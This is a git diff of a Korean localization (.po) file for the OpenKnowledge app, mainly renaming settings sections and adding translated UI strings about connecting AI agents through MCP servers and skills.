"Enable {0}"msgstr "{0} 활성화"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "{displayName} CLI 활성화"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "{displayName} Desktop 활성화"@@ -5416,11 +5494,6 @@ msgstr "유효한 URL을 입력하세요. 예: https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "터널이 제공하는 공개 오리진을 입력하세요. 예: https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "항목"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "오류"@@ -5563,7 +5636,7 @@ msgstr "노출하면 포트가 고정되어 재시작해도 터널의 대상이#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "외부 앱"@@ -5947,8 +6020,6 @@ msgstr "필드"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub, git URL 또는 로컬 경로입니다."msgid "Give it a name before editing its colors."msgstr "색상을 편집하기 전에 이름을 지정합니다."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "사용하는 AI 도구에 프로젝트를 읽고 업데이트할 권한을 부여합니다. 확인란을 선택하면 즉시 설정하고, 선택을 해제하면 제거합니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "에이전트에게 문서 작업에 대한 지침을 제공하고 편집 내역의 작성자 정보를 유지합니다."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "이 스키마가 적용되는 glob 패턴"msgid "Global"msgstr "전역"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "전역 MCP 서버"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "텍스트 필드 외 전역"@@ -6509,6 +6584,7 @@ msgstr "도움말"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "에이전트가 어떤 프로젝트에서든 OpenKnowledge를 찾아 사용할 수 있도록 돕습니다."@@ -6718,15 +6794,13 @@ msgstr "이 컴퓨터가 원격에서 변경 사항을 가져오는 주기입니msgid "How to push manually"msgstr "수동으로 푸시하는 방법"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "설정 방법"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "{0} 설정 방법(브라우저에서 열림)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "{rowLabel} 설정 방법"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "양쪽이 동일하며 {pick}에서 계속 읽을 수 있습니다."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "{agent}에 OpenKnowledge 도구가 보이지 않으면 설정에 있는 MCP 설정 경로가 OpenKnowledge가 작성한 파일과 일치하는지 확인하세요."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "{agent}에 OpenKnowledge 도구가 보이지 않으면 이 프로젝트에서 실행한 뒤 OpenKnowledge 서버를 한 번 승인하세요."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "{agent}에 OpenKnowledge 도구가 보이지 않으면 Settings → Tools & MCP에서 서버를 켜세요. {agent}은(는) 직접 켜기 전까지 프로젝트 서버를 꺼 둡니다."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "편집 중인 항목에 업데이트가 도착하면 병합 충돌처럼 유지할 버전을 선택합니다."@@ -6888,7 +6977,7 @@ msgstr "인덱스 문서에서는 항목이 섹션 제목 아래에 있고 각#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "앱 내"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "CodeMirror 기본 키맵을 통해 소스 편집기 줄을 삽입, 삭제, 이동, 복사하고 들여씁니다."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "{0} 설치"msgid "Install {brand} →"msgstr "{brand} 설치 →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "{rowLabel} 설치"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "여기에 먼저 스킬을 설치하세요"@@ -7172,22 +7266,12 @@ msgstr "gh CLI 설치"msgid "Install this skill"msgstr "이 스킬 설치"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "설치됨"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "설치됨, 외부 터미널에서 ok를 사용할 수 있습니다. 선택을 해제하면 제거되며, OpenKnowledge 기본 제공 터미널과 AI 도구는 계속 작동합니다."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "설치됨 — 외부 터미널에서 ok를 사용할 수 있습니다. 선택을 해제하면 제거되며, AI 도구는 계속 작동합니다."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "모든 프로젝트에 설치됨"msgid "Installs into this project"msgstr "이 프로젝트에 설치됨"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "이 에이전트에 OpenKnowledge 검색 스킬을 설치합니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "이 에이전트에 OpenKnowledge 프로젝트 스킬을 설치합니다."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "스킬을 {path}에 설치합니다 — 첫 위치가 스킬의 원본 사본을 보관합니다"@@ -7643,7 +7735,7 @@ msgstr "{fileName} 불러오는 중"msgid "Loading agent activity"msgstr "에이전트 활동 불러오는 중"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "에이전트 불러오는 중…"@@ -7866,11 +7958,16 @@ msgstr "잘못된 listPacks 응답"msgid "Malformed plan response"msgstr "잘못된 plan 응답"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "관리"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "{rowLabel} 관리"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "스킬 폴더 관리"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "OpenKnowledge가 저장소를 탐색하고 동기화할 때 사용하는 GitHub 계정을 관리합니다."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "이 빌드에서는 AI 도구를 관리할 수 없습니다."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "이 빌드에서는 프로젝트 AI 도구를 관리할 수 없습니다."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "이 빌드에서는 에이전트 연결 관리를 사용할 수 없습니다."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "에이전트 최대 실행 수 도달"msgid "MCP auto-repair failed"msgstr "MCP 자동 복구 실패"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP 연결"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures}의 MCP 자동 복구에 실패했습니다"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "링크 대상, 앵커, 표시 레이블을 수정합니다."msgid "More"msgstr "더 보기"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "추가 정보"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "더 많은 요청이 차단되었습니다."@@ -8537,7 +8632,7 @@ msgstr "아직 설정된 에이전트 없음. 전송 메뉴에서 선택하세msgid "no agents — saved, not installed anywhere"msgstr "에이전트 없음 — 저장만 되고 어디에도 설치되지 않음"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "사용 가능한 에이전트 없음."@@ -8546,7 +8641,7 @@ msgstr "사용 가능한 에이전트 없음."msgid "No agents enabled"msgstr "활성화된 에이전트 없음"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "검색과 일치하는 에이전트 없음."@@ -8910,11 +9005,12 @@ msgstr "응답하지 않음"msgid "Not attached to desktop bridge"msgstr "데스크톱 브리지에 연결되지 않음"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "이 플랫폼에서 사용할 수 없음"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "연결되지 않음"@@ -8922,6 +9018,10 @@ msgstr "연결되지 않음"msgid "Not connected to GitHub."msgstr "GitHub에 연결되지 않음"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "이 컴퓨터에서 감지되지 않음"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "별로 좋지 않음"@@ -8932,7 +9032,7 @@ msgstr "사이드바에 없음"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "설치되지 않음"@@ -9065,15 +9165,15 @@ msgstr "선택 텍스트: <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "루트 인덱스에서 okf_version은 \"0.2\"와 같은 따옴표 문자열로 작성됩니다. 따옴표가 없으면 YAML이 숫자로 읽어 0.10이 조용히 0.1로 바뀝니다."-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "한 단계 더 필요합니다. Cursor → 설정 → Tools & MCP에서 활성화합니다(Cursor는 프로젝트 서버를 직접 켜기 전까지 꺼 둡니다)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "한 단계 더 필요합니다. {agent} → 설정 → Tools & MCP에서 활성화합니다({agent}는 프로젝트 서버를 직접 켜기 전까지 꺼 둡니다)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "한 단계 더 필요합니다. 이 프로젝트에서 <0>claude</0>를 실행하고 OpenKnowledge를 한 번 승인합니다."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "한 단계 더 필요합니다. 이 프로젝트에서 {agent}를 실행하고 OpenKnowledge를 한 번 승인합니다."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "먼저 프로젝트를 여세요."msgid "Open a project to edit."msgstr "편집할 프로젝트를 엽니다."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "AI 도구 연결을 관리하려면 프로젝트를 엽니다."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "프로젝트 설정 없이 단일 markdown 파일 열기"@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge에서 충돌 확인"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge에서 프로젝트 확인"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge가 이 컴퓨터에서 이 에이전트를 찾지 못했습니다."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge가 .ok/local/config.yml의 terminal.shell을 읽을 수 없습니다. 대신 사용 가능한 Windows 셸을 사용합니다."@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge에서 {subject} 삭제"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge에서 문서 삭제"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge 검색 스킬"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge가 이 항목을 인식하지 못하며, 이 파일 형식에서는 안전하게 대체할 수 없습니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge가 이 항목을 인식하지 못합니다. 켜면 이 항목을 대체합니다."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge에서 {subject} 편집"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge는 gh CLI가 제공하는 GitHub 계정을 사용 중입msgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge가 이 GitHub 계정을 사용 중입니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge가 이 파일을 안전하게 파싱할 수 없어 파일을 변경하지 않았습니다. 파일을 직접 수정한 뒤 다시 시도하세요."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge에서 설치된 스킬 목록 확인"@@ -10289,10 +10405,6 @@ msgstr "프로젝트"msgid "Project"msgstr "프로젝트"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "프로젝트 AI 도구 관리는 OpenKnowledge 데스크톱 앱에서만 사용할 수 있습니다."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "프로젝트 세부 정보"@@ -10301,6 +10413,10 @@ msgstr "프로젝트 세부 정보"msgid "Project folder created, but git init failed. Try again."msgstr "프로젝트 폴더는 생성되었지만 git init에 실패했습니다. 다시 시도하세요."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "프로젝트 MCP 서버"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "프로젝트 이름"@@ -10314,6 +10430,10 @@ msgstr "프로젝트 플러그인은 이 프로젝트의 작성 표준입니다.msgid "Project root"msgstr "프로젝트 루트"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "프로젝트 스킬"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "프로젝트 템플릿"@@ -10468,6 +10588,21 @@ msgstr "{pushed} 푸시"msgid "Pushing"msgstr "푸시 중"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "{agent}의 전역 스킬 폴더에 OpenKnowledge 탐색 스킬을 넣어 어떤 프로젝트에서든 OpenKnowledge를 찾을 수 있게 합니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "이 프로젝트의 {agent} 스킬 폴더에 OpenKnowledge 스킬을 넣어 편집 내역의 작성자가 유지되게 합니다."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "{agent}이(가) 읽는 중앙 스킬 저장소에 OpenKnowledge 스킬을 넣습니다."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "퍼즐 해결 중…"@@ -10586,6 +10721,10 @@ msgstr "최근 프로젝트"msgid "Recently opened"msgstr "최근 열기"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "권장"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "권장 에이전트 스킬"@@ -10721,6 +10860,8 @@ msgstr "원격 제어"msgid "Remote skill source"msgstr "원격 스킬 소스"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "{patternText} 제거"msgid "Remove {projectName} from recent projects"msgstr "프로젝트 \"{projectName}\"을 최근 프로젝트에서 제거"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "{rowLabel} 제거"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "{tag} 제거"@@ -10773,6 +10918,10 @@ msgstr "제거 실패: {error}"msgid "Remove field {field}"msgstr "필드 {field} 제거"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "둘 다 제거"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "링크 제거"msgid "Remove OpenKnowledge from {0}"msgstr "{0}에서 OpenKnowledge 제거"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "{0}에서 OpenKnowledge를 제거할까요?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "OpenKnowledge를 제거할까요?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "속성 제거"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "새 로컬 협업 캐시로 \"{docName}\"을 다시 여는 중입니다."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "{names} MCP 통합 복구됨"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "{keyName} 바꾸기"msgid "Replace all matches"msgstr "일치 항목 모두 바꾸기"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "교체 후 저장"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "현재 일치 항목 바꾸기"@@ -10983,6 +11145,10 @@ msgstr "이 복사본을 소스를 가리키는 심볼릭 링크로 바꿀까요msgid "Replace these symlinks with independent copies?"msgstr "이 심볼릭 링크를 독립적인 복사본으로 바꿀까요?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "이 파일의 기존 \"open-knowledge\" 항목을 대체합니다. 파일의 다른 서버는 그대로 유지됩니다."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "가져오는 중…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "다시 시도"@@ -11379,6 +11545,7 @@ msgstr "샌드박스 처리된 HTML 삽입입니다. HTML을 작성하면 렌더msgid "Save"msgstr "저장"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "변경 사항 저장"@@ -11429,6 +11596,7 @@ msgstr "팀을 위해 프로젝트와 함께 저장됨."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "<0>~/Downloads/openknowledge.skill</0>에 저장 후 Claude Desktop App 열기. PATH에 Node.js 또는 Bun 필요."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "저장 중"@@ -11482,7 +11650,7 @@ msgstr "“{semanticSubmitQuery}”를 의미로 검색"msgid "Search ({searchShortcutLabel})"msgstr "검색 ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "에이전트 검색"@@ -12066,8 +12234,7 @@ msgstr "{0}개 더 보기"msgid "Show {hidden} more"msgstr "{hidden}개 더 보기"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "{hiddenCount}개 더 보기"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "탐색기에서 보기"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "적게 보기"@@ -12341,11 +12507,6 @@ msgstr "{0}/{1}의 스킬."msgid "Skills from OpenKnowledge"msgstr "OpenKnowledge 스킬"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "스킬이 스킬 스튜디오로 이동했습니다."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "스킬 재할당됨"@@ -12501,6 +12662,7 @@ msgstr "피드백을 보내는 중 문제가 발생했습니다. 다시 시도msgid "Something went wrong starting the terminal."msgstr "터미널 시작 중 문제 발생."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "문제가 발생했습니다. 다시 시도하세요."@@ -13074,7 +13236,6 @@ msgstr "템플릿"msgid "Templates available"msgstr "사용 가능한 템플릿"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "사용 가능한 템플릿"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "{0} 다운로드 요청 시간 초과."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} 플러그인이 캐시에서 이 스킬들을 제공합니다 — OK는 이를 편집하거나 업데이트하지 않습니다."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} 데스크톱 앱은 이 프로젝트 설정을 무시합니다. {agent} CLI만 이 설정을 읽습니다."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} 폴더에 이 스킬의 다른 버전이 있습니다. 어느 버전을 사용할지 선택하거나 서로 다른 이름으로 둘 다 유지하세요. 교체하는 항목은 먼저 백업합니다."@@ -13452,6 +13617,14 @@ msgstr "소스 폴더 자체는 이동하지 않습니다."msgid "The template's filename (without `.md`)."msgstr "템플릿 파일 이름입니다(`.md` 제외)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label}의 터미널 행과 데스크톱 행은 하나의 설정을 공유하므로, 하나를 연결하면 둘 다 연결됩니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label}의 터미널 행과 데스크톱 행은 하나의 설정을 공유하므로, 이를 제거하면 둘 다 연결이 끊깁니다."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "이 프로젝트의 터미널 꺼짐. 다시 켜면 여기서 명령 실행 가능."@@ -13608,6 +13781,14 @@ msgstr "이 에이전트는 슬래시 명령을 제공하지 않습니다"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "이 에이전트는 슬래시 명령을 제공하지 않습니다. 메시지는 일반 텍스트로 전송됩니다"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "이 에이전트는 OpenKnowledge가 대신 설정할 수 있는 방법을 제공하지 않습니다. 설정 가이드에 수동 단계가 안내되어 있습니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "이 에이전트에는 아직 이 컴퓨터에 해당 종류의 파일이 없습니다. 에이전트를 한 번 실행한 뒤 다시 확인하세요."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "이 에이전트는 아직 명령을 알리지 않았습니다"@@ -13651,6 +13832,14 @@ msgstr "이 댓글, 속성 전체에 적용됨"msgid "This conflict is resolved."msgstr "이 충돌은 해결되었습니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "필요한 MCP 서버 항목이 기록되지 않아 설정할 수 없었습니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "아래 나열된 MCP 서버 항목과 스킬 파일을 삭제합니다. 다시 추가할 때까지 에이전트가 문서에 접근할 수 없습니다."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "이 문서"@@ -13683,6 +13872,10 @@ msgstr "이 문서는 삭제되었습니다"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "이 엔드포인트는 설정한 벡터 크기를 무시했습니다. <0>search.semantic.dimensions</0>를 제거하면 모델의 자체 크기를 사용합니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge가 작성한 뒤 이 항목이 변경되었습니다. 켜면 덮어씁니다."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "이 필드에는 편집기에 표시되지 않는 추가 스키마 키워드가 있으며, 저장할 때 보존됩니다."@@ -13735,6 +13928,10 @@ msgstr "이 폴더는 {actualOwner}/{actualRepo} 클론이며 {expectedOwner}/{emsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "이 폴더는 {actualHost}의 {expectedOwner}/{expectedRepo} 클론이며 {expectedHost} 클론이 아닙니다. {expectedHost}에서 클론한 폴더를 선택하시겠습니까?"+#: 